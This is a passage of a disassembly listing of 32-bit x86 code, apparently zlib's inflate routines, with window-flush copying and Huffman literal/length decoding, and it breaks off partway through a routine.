; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E50	proc near		; CODE XREF: sub_429CC0+47p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_429E74
		mov	ecx, [ebp+var_4]
		call	sub_429F20


loc_429E74:				; CODE XREF: sub_429E50+1Aj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_429E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E80	proc near		; CODE XREF: sub_42852F+916p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_429ED0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429EA0	proc near		; CODE XREF: sub_429DB0+Ap
					; sub_429DD0+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429EBF
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+8]


loc_429EBF:				; CODE XREF: sub_429EA0+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_429EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429ED0	proc near		; CODE XREF: sub_429E80+10p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_429F0D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_8]
		call	sub_429F20
		cmp	[ebp+var_4], 0
		jz	short loc_429F0D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		push	edx
		call	dword ptr [ecx+8]


loc_429F0D:				; CODE XREF: sub_429ED0+11j
					; sub_429ED0+2Fj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F20	proc near		; CODE XREF: sub_429E20+14p
					; sub_429E50+1Fp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_429F3F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]


loc_429F3F:				; CODE XREF: sub_429F20+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_429F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F50	proc near		; CODE XREF: sub_42A17E+220p
					; sub_42A17E+39Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+34h]
		ja	short loc_429F7E
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+var_10], ecx
		jmp	short loc_429F87
; ---------------------------------------------------------------------------


loc_429F7E:				; CODE XREF: sub_429F50+21j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		mov	[ebp+var_10], eax


loc_429F87:				; CODE XREF: sub_429F50+2Cj
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		cmp	eax, [edx+10h]
		jbe	short loc_429FA4
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		mov	[ebp+var_C], edx


loc_429FA4:				; CODE XREF: sub_429F50+49j
		cmp	[ebp+var_C], 0
		jz	short loc_429FB7
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_429FB7
		mov	[ebp+arg_8], 0


loc_429FB7:				; CODE XREF: sub_429F50+58j
					; sub_429F50+5Ej
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		sub	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	[edx+10h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		add	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+38h], 0
		jz	short loc_42A008
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+38h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	[edx+30h], ecx


loc_42A008:				; CODE XREF: sub_429F50+8Cj
		cmp	[ebp+var_C], 0
		jz	short loc_42A034
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_431764	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_C]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax


loc_42A034:				; CODE XREF: sub_429F50+BCj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	loc_42A110
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+34h]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_42A066
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[edx+34h], ecx


loc_42A066:				; CODE XREF: sub_429F50+108j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+10h]
		jbe	short loc_42A086
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	[ebp+var_C], ecx


loc_42A086:				; CODE XREF: sub_429F50+12Bj
		cmp	[ebp+var_C], 0
		jz	short loc_42A099
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_42A099
		mov	[ebp+arg_8], 0


loc_42A099:				; CODE XREF: sub_429F50+13Aj
					; sub_429F50+140j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		sub	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+14h], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+38h], 0
		jz	short loc_42A0EA
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+3Ch]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+38h]
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+3Ch], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	[eax+30h], edx


loc_42A0EA:				; CODE XREF: sub_429F50+16Ej
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_431764	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx


loc_42A110:				; CODE XREF: sub_429F50+EDj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+30h], edx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_429F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A129	proc near		; CODE XREF: sub_42B09D+1C4p
					; sub_42B09D+FADp

var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Ch
		push	1
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_10]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42A177
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ebp+arg_0]
		mov	[ecx+10h], dl
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_4]
		mov	[eax+11h], cl
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_8]
		mov	[edx+14h], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[ecx+18h], edx


loc_42A177:				; CODE XREF: sub_42A129+1Fj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A129	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A17E	proc near		; CODE XREF: sub_42B09D+1080p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42A1D5
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_30], eax
		jmp	short loc_42A1E1
; ---------------------------------------------------------------------------


loc_42A1D5:				; CODE XREF: sub_42A17E+44j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_30], edx


loc_42A1E1:				; CODE XREF: sub_42A17E+55j
		mov	eax, [ebp+var_30]
		mov	[ebp+var_28], eax


loc_42A1E7:				; CODE XREF: sub_42A17E:loc_42AEA4j
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	[ebp+var_34], edx
		cmp	[ebp+var_34], 9
		ja	loc_42AE45
		mov	eax, [ebp+var_34]
		jmp	off_42AEAD[eax*4]


loc_42A203:				; DATA XREF: HLXc:off_42AEADo
		cmp	[ebp+var_28], 102h
		jb	loc_42A309
		cmp	[ebp+var_2C], 0Ah
		jb	loc_42A309
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+11h]
		push	edx
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+10h]
		push	ecx
		call	sub_42CF86
		add	esp, 18h
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42A2D7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_42A2E3
; ---------------------------------------------------------------------------


loc_42A2D7:				; CODE XREF: sub_42A17E+146j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_38], edx


loc_42A2E3:				; CODE XREF: sub_42A17E+157j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_28], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_42A309
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 7
		mov	edx, [ebp+var_10]
		mov	[edx], ecx
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A309:				; CODE XREF: sub_42A17E+8Cj
					; sub_42A17E+96j ...
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+10h]
		mov	edx, [ebp+var_10]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+14h]
		mov	[eax+8], edx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 1


loc_42A32C:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEB1o
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_20], edx


loc_42A335:				; CODE XREF: sub_42A17E+25Cj
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_42A3DF
		cmp	[ebp+var_2C], 0
		jz	short loc_42A350
		mov	[ebp+arg_8], 0
		jmp	short loc_42A3AB
; ---------------------------------------------------------------------------


loc_42A350:				; CODE XREF: sub_42A17E+1C7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42A3AB:				; CODE XREF: sub_42A17E+1D0j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_42A335
; ---------------------------------------------------------------------------


loc_42A3DF:				; CODE XREF: sub_42A17E+1BDj
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_433308[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		lea	edx, [ecx+edx*8]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_C]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_24]
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_18], ecx
		cmp	[ebp+var_18], 0
		jnz	short loc_42A442
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 6
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A442:				; CODE XREF: sub_42A17E+2A8j
		mov	eax, [ebp+var_18]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42A472
		mov	ecx, [ebp+var_18]
		and	ecx, 0Fh
		mov	edx, [ebp+var_10]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 2
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A472:				; CODE XREF: sub_42A17E+2CCj
		mov	ecx, [ebp+var_18]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_42A49C
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_18]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_14]
		lea	ecx, [eax+edx*8]
		mov	edx, [ebp+var_10]
		mov	[edx+8], ecx
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A49C:				; CODE XREF: sub_42A17E+2FCj
		mov	eax, [ebp+var_18]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42A4B4
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 7
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A4B4:				; CODE XREF: sub_42A17E+326j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42A529:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEB5o
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+8]
		mov	[ebp+var_20], edx


loc_42A532:				; CODE XREF: sub_42A17E+459j
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_42A5DC
		cmp	[ebp+var_2C], 0
		jz	short loc_42A54D
		mov	[ebp+arg_8], 0
		jmp	short loc_42A5A8
; ---------------------------------------------------------------------------


loc_42A54D:				; CODE XREF: sub_42A17E+3C4j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42A5A8:				; CODE XREF: sub_42A17E+3CDj
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_42A532
; ---------------------------------------------------------------------------


loc_42A5DC:				; CODE XREF: sub_42A17E+3BAj
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_433308[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	edx, [ebp+var_10]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx+11h]
		mov	ecx, [ebp+var_10]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+18h]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 3


loc_42A62E:				; CODE XREF: sub_42A17E+7Ej
					; DATA XREF: HLXc:0042AEB9o
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_20], ecx


loc_42A637:				; CODE XREF: sub_42A17E+55Ej
		mov	edx, [ebp+var_24]
		cmp	edx, [ebp+var_20]
		jnb	loc_42A6E1
		cmp	[ebp+var_2C], 0
		jz	short loc_42A652
		mov	[ebp+arg_8], 0
		jmp	short loc_42A6AD
; ---------------------------------------------------------------------------


loc_42A652:				; CODE XREF: sub_42A17E+4C9j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_24]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_2C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42AEA9
; ---------------------------------------------------------------------------


loc_42A6AD:				; CODE XREF: sub_42A17E+4D2j
		mov	eax, [ebp+var_2C]
		sub	eax, 1
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_24]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_24]
		add	edx, 8
		mov	[ebp+var_24], edx
		jmp	loc_42A637
; ---------------------------------------------------------------------------


loc_42A6E1:				; CODE XREF: sub_42A17E+4BFj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_C]
		and	ecx, dword_433308[eax*4]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		lea	ecx, [eax+ecx*8]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx+1]
		mov	ecx, eax
		mov	edx, [ebp+var_C]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_24]
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		and	edx, 10h
		test	edx, edx
		jz	short loc_42A756
		mov	eax, [ebp+var_18]
		and	eax, 0Fh
		mov	ecx, [ebp+var_10]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[edx+0Ch], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 4
		jmp	loc_42AEA4
; ---------------------------------------------------------------------------


loc_42A756:				; CODE XREF: sub_42A17E+5B0j
		mov	eax, [ebp+var_18]
		and	eax, 40h
		test	eax, eax
		jnz	short loc_42A780
		mov	ecx, [ebp+var_10]
